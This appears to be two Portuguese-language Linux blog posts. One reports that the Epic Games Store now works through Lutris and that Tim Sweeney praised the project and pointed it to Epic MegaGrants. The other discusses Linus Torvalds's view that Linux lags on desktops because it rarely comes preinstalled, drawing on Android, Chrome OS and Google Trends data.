Em um anúncio do seu Twitter, o pessoal do Lutris anunciou que agora a loja da Epic Games estava funcionando sem mais esse “pisca-pisca” e que todos poderiam rodar os jogos de lá, tirando óbvio o Fortnite por causa do Easy Anti-Cheat que barra o Wine/Proton.

No tweet em questão, eles marcaram o “manda-chuva” da Epic GamesTim Sweeney, que já declarou algumas vezes que apoia o projeto Open Source, e para surpresa de muitos, ele respondeu ao tweet com um “Great work!” e logo em seguida, para mais surpresa ainda, ele recomenda que o pessoal do Lutris entre para o programa Epic MegaGrants, que de forma bem resumida, é um financiamento da Epic Games para projetos que utilizam a Unreal Engine 4 ou ferramentas de código aberto que aprimoram os recursos do mesmo para beneficiar a comunidade de gráficos 3D e jogos. 

A tread do Tweet você pode conferir abaixo:

Para muitos pode passar despercebido ou até mesmo nem ser muito importante, mas esse comentário vindo do “manda-chuva” da Epic pode sinalizar que eles estão de olho no “Mundo do Pinguim” e que em breve podem virem para ele, como aconteceu com a Stem em 2013 lançando o seu cliente para Linux. Então, para mim, é bem animador esse tipo de coisa e porque não pensar no Fortnite rodando no Linux nativamente em breve?

Este artigo não acaba aqui, continue trocando uma ideia lá  no nosso  fórum

Espero você até a próxima, um forte abraço.

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Linus Torvalds está correto? O motivo da impopularidade do Linux nos Desktops

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Algumas pessoas me mercaram nas redes sociais para que eu comentasse sobre uma matéria publicada no Olhar Digital sobre algumas declarações de Linus Torvalds, vamos discutir sobre isso um pouco?

Linus Torvalds sobre o Linux Desktop






Antes de mais nada, é interessante que você leia o artigo original do Olhar Digital, ele basicamente é uma transliteração de um vídeo de Linus Torvalds, no mesmo bate-papo lendário onde ele manda o dedo do meio para a Nvidia.


Esse vídeo é de 2012 e o artigo do Olhar Digital mistura alguns conceitos atuais com os antigos. No mundo da tecnologia muita coisa muda em 7 anos, no mundo Open Source então, nem se fala, ainda assim, na minha opinião, Torlvads tinha e tem razão.

Desktop é o único lugar que o Linux não tomou conta, segundo Linus Torvalds


O vídeo é muito interessante de fato, quando questionado sobre o Desktop ser ainda o único lugar onde o Linux não domina, Torvalds deixa transparecer um pouco de frustração, afirmando que "O Desktop era a intenção inicial dele ao desenvolver o Linux, e atualmente é o único lugar onde o Linux não obteve maior popularidade".

O motivo disso, segundo ele, é principalmente o fato de distros Linux geralmente não virem pré-instaladas com os computadores e laptops que as pessoas compram. "Ninguém quer ter que baixar e instalar um sistema operacional para usar um computador", comenta.

Ele está certo?


Apesar de muita coisa (mesmo!) ter mudado de 2012 para cá, de fato, as pessoas, de forma geral, não formatam seus computadores e instalam sistemas. Isso geralmente é tarefa dos técnicos e dos usuários que gostam de trabalhar com informática.

Muito da impopularidade do Linux está atrelada a isso, sem sombra de dúvidas. A popularidade também acaba afetando, por tabela, outras tecnologias, softwares e serviços desse entorno.

Quer um exemplo?

Por que softwares de alta qualidade de Hollywood, como Nuke, Lightworks, Maya, Blender e DaVinci Resolve possuem versões para Linux e o Adobe Premiere, After Effects, não?

Porque na indústria de Hollywood, Open Source é um padrão e uma tendência, Linux é utilizado nas produções, nesse meio (que é um nicho), o Linux é um dos padrões, enquanto os softwares da Adobe, ainda que vislumbrem os blockbusters de vez em quando, geralmente são conhecidos por serem usados por estúdios menores e por semi-profissionais, que aprenderem a usar Windows e querem ser atendidos dessa forma, além do macOS, é claro.

Não é certo ou errado, bom ou ruim, é apenas uma constatação de como as coisas são.

O caso do Android

Linus comenta que o sucesso do Linux através do Android se deve ao fato do sistema já vir pré-instalado nos dispositivos, coisa que nunca aconteceu em larga escala no desktops, de fato.

Atualmente é possível trocar ROMs de Android, mas é uma pequena parcela da população que faz isso, sendo que grande parte nem sequer sabe que existe essa possibilidade.

O Chrome OS seria a saída?


Lá em 2012, Torlvalds já comentava sobre os Chromebooks e seu Chrome OS. Este é um projeto da Google, que assim como o Android, também usa o Kernel Linux.

Usando o Google Trends, é possível ver uma crescente de interesse por eles nos EUA, porém, essa crescente existe basicamente por lá. É o tipo de dispositivo que ainda não atingiu todo o seu potencial.

Torvalds já comentou diversas vezes que acredita que provavelmente o meio do Linux conseguir chegar aos lares das pessoas em seus laptops é através da popularização destes dispositivos, ou mesmo de um Android Desktop, e eu acredito que ele esteja correto.

E as outras distros?


Em muitos casos o mundo Linux é movido à paixão. Existem dezenas de projetos para finalidades diferentes, mas nos restringindo ao desktop, vemos os principais jogadores deste tabuleiro focarem em um tipo de usuário desktop, e não em qualquer um.

Ubuntu, Fedora, Pop!_OS, elementary OS, Linux Mint, Manjaro e Solus OS, são bons exemplos disso.

Cada qual tem um foco ligeiramente diferente e procura oferecer ferramentas para facilitar a vida de seus usuários, mas de fato, geralmente tais usuários tem um nível técnico um pouco acima. Você pode até achar que qualquer um consegui instalar um sistema Linux hoje em dia, mas somente o fato de instalar um sistema operacional, como comentou Linus Torvalds, te torna um usuário diferente da maioria.

Dos integrantes dessa a lista, vários deixaram claro que estão focando nos famosos "Creators, Makers, Builders", como em nossa entrevista com o pessoal da Sytem76, fabricante de computadores com Linux e desenvolvedora do Pop!_OS:


Eu acho perfeitamente possível grande parte (e não a maior necessariamente) da população usar Linux sem maiores problemas, provavelmente em um número que nunca passará o Windows, mas com plenas capacidades de superar o macOS.

Eis um gráfico interessante para você ver:

Interesse de pesquisa sobre Linux no mundo

Esse é um gráfico do Google Trends. O Google é local ideal para fazer medições de popularidade, é onde as pessoas, de forma geral e majoritária, vão para buscar informações.

A análise é feita com uma coleta de dados de 2004 em diante, sendo que ela se torna mais confíável, segundo a própria Google, de meados de 2006 à 2008 em diante, onde foram feitos ajustes na sensibilidade do algorítimo de busca.

A linha azul corresponde ao macOS da Apple, da vermelha ao Ubuntu da Canonical, e a amarela ao termo Linux (relacionado a Software) de uma forma geral.

Podemos ver que o interesse em software Linux é maior do que o interesse em macOS, perdendo apenas em algumas regiões do mundo que geralmente falam Inglês, como EUA, Canadá, Austrália, África do Sul, etc. Equando que o Interesse por Linux aparece em larga escala na Europa e no Brasil, assim como o Ubuntu, que não é maior do que o interesse por Linux de forma geral no Brasil, mas é a distro com maior relevância neste sentido.

O termo "Linux" é algo bem genérico para ser considerado, apesar das distros usuarem o Kernel Linux, elas não são o mesmo sistema operacional, ainda que tenham várias coisas em comum. 

Vemos o Ubuntu ser muito popular no Reino Unido por exemplo, que é a sede física da Canonical (ou uma delas), mas não tanto assim nos EUA, por exemplo. 

O Interesse pelo Ubuntu e por Linux ao redor do mundo em comparação com o macOS, mostra que existe sim um mercado disposto a explorar coisas novas, a ponto de mesmo que as pessoas não tenham tantas opções de computadores com Linux pré-instalado, ainda gere dados de interesse o suficiente para criar estes números.

O Windows neste gráfico fica muito acima dos demais sistemas operacionais:

Sistemas operacionais
Windows em Verde

Ainda que, assim como os demais, venha perdendo interesse pelo público por conta da acenção dos Smartphones, muito provavelmente. Basta comparar com o interessante pelo Android e sua acenção nos últimos anos:

Android em Roxo

Então seria um caso perdido para outras distros, que não o Chrome OS?


Bom, depende: Você está correndo para algo? Você realmente precisa que alguma distro Linux se torne o sistema mais popular de todos?

Se perguntasse a mim, eu diria que não, eu não preciso. Mas também diria que sim, seria bom se fosse um pouco mais popular para equilibrar a balança. Nenhum tipo de monopólio é interessante e muitas pessoas poderiam se beneficiar de uma popularidade  maior. Existem muitos casos que as pessoas usam Windows porque precisam, não porquê querem.

Há algum tempo eu precisava trabalhar de terno (algo que eu nunca gostei), eu precisava daquilo por conta do tipo do emprego, mas eu nunca quis aquilo para mim de fato, tanto que acabei saindo do local e esse foi um grande motivo. Eu me sentia desconfortável e ninguém gosta de se sentir obrigado a algo, especialmente quando tem considerações contrárias quanto a isso. Aposto que é o caso de muitas pessoas por aí usando Windows.

A verdade é que as distros de desktop Linux estão cada vez mais amigáveis, e sim, elas tem muito potencial de crescimento e são feitas para agradar quem se agradar por elas basicamente. 

Elas existem para te dar escolhas, para evitar que você fique preso a algo que você eventualmente não goste, por exemplo:


Neste vídeo, intitulado "Para você que está de saco cheio do Windows", eu mostrei que podem, sim, haver alternativas, ainda que não seja para todo mundo, será para muita gente.

O feedback é fantástico, você pode ver pela quantidade de visualizações e pelos comentários.

Eu continuo sendo um fã de tecnologia, gosto do Windows e do macOS e acho eles soluções incríveis para diversos problemas (porque no fim é para isso que serve a tecnologia, te ajudar a resolver problemas), eu só não acho que são irretocáveis e nem únicos e que em muitos casos, Linux pode ser mais eficiente ou uma solução mais confortável por diversos motivos.

Parte do nosso trabalho no Diolinux é ajudar outras pessoas que também gostam de usar Linux e querem ajudar uns aos outros a fazer isso.

Eu continuo usando Linux no meu Desktop para produção de vídeos, edição de imagens e músicas, textos e games (sim, games! Confira o nosso canal na Twitch) simplesmente porque me atende, porque eu gosto, porque prefiro, porque me sinto mais feliz e satisfeito com isso, se nada mudar em alguns anos e o Linux não crescer mais no Desktop, muito provavelmente eu continuarei usando Linux por um único motivo: Porque funciona e permite que eu faça tudo o que eu preciso fazer por ele.

Não tenho motivo para "alergias" a outros sistemas, usar Linux me permitiu ver um mundo mais amplo, além do que eu pensava que era um computador ou sistema operacional, abriu tanto a minha visão a ponto de eu ver que nem o Linux é perfeito, muito pelo contrário, mas que o mundo é feito de mais coisas do que "janelas" e "maçãs", ainda que eu adorece apreciar a vista de uma bela "janela", comendo uma "McIntosh" suculenta.

Até a próxima!

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